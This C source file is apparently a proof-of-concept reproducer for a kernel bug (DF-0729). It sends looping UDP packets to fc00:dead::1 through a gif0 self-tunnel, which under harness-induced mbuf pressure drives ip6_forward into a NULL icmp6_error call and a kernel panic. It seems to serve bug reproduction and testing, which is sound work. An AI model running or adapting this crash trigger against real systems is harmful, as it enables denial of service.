/*
 * DF-0729 — network-path trigger: send UDP packets to fc00:dead::1.
 * The kernel routes them through gif0 (self-tunnel), which loops back.
 * Under mbuf pressure (created by the harness module), m_copym(M_NOWAIT)
 * in ip6_forward fails → icmp6_error(NULL) → panic.
 *
 * Build: cc -O2 -o df729_udp_trigger df729_udp_trigger.c
 * Run:   ./df729_udp_trigger [count]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
    int sock, n, i, count = 1000;
    struct sockaddr_in6 dst;
    char buf[64];

    if (argc > 1) count = atoi(argv[1]);

    sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (sock < 0) { perror("socket"); return 1; }

    memset(&dst, 0, sizeof(dst));
    dst.sin6_family = AF_INET6;
    inet_pton(AF_INET6, "fc00:dead::1", &dst.sin6_addr);
    /* bind to fc00::2 so the packet looks like it comes from the tunnel net */
    {
        struct sockaddr_in6 src;
        memset(&src, 0, sizeof(src));
        src.sin6_family = AF_INET6;
        inet_pton(AF_INET6, "fc00::2", &src.sin6_addr);
        bind(sock, (struct sockaddr *)&src, sizeof(src));
    }

    memset(buf, 'X', sizeof(buf));
    printf("[trigger] sending %d UDP packets to fc00:dead::1\n", count);
    for (i = 0; i < count; i++) {
        n = sendto(sock, buf, sizeof(buf), 0,
                   (struct sockaddr *)&dst, sizeof(dst));
        if (n < 0 && errno != ENETUNREACH && errno != EHOSTUNREACH) {
            fprintf(stderr, "sendto failed at %d: %s\n", i, strerror(errno));
        }
    }
    printf("[trigger] sent %d packets (if we got here, no panic)\n", i);
    close(sock);
    return 0;
}
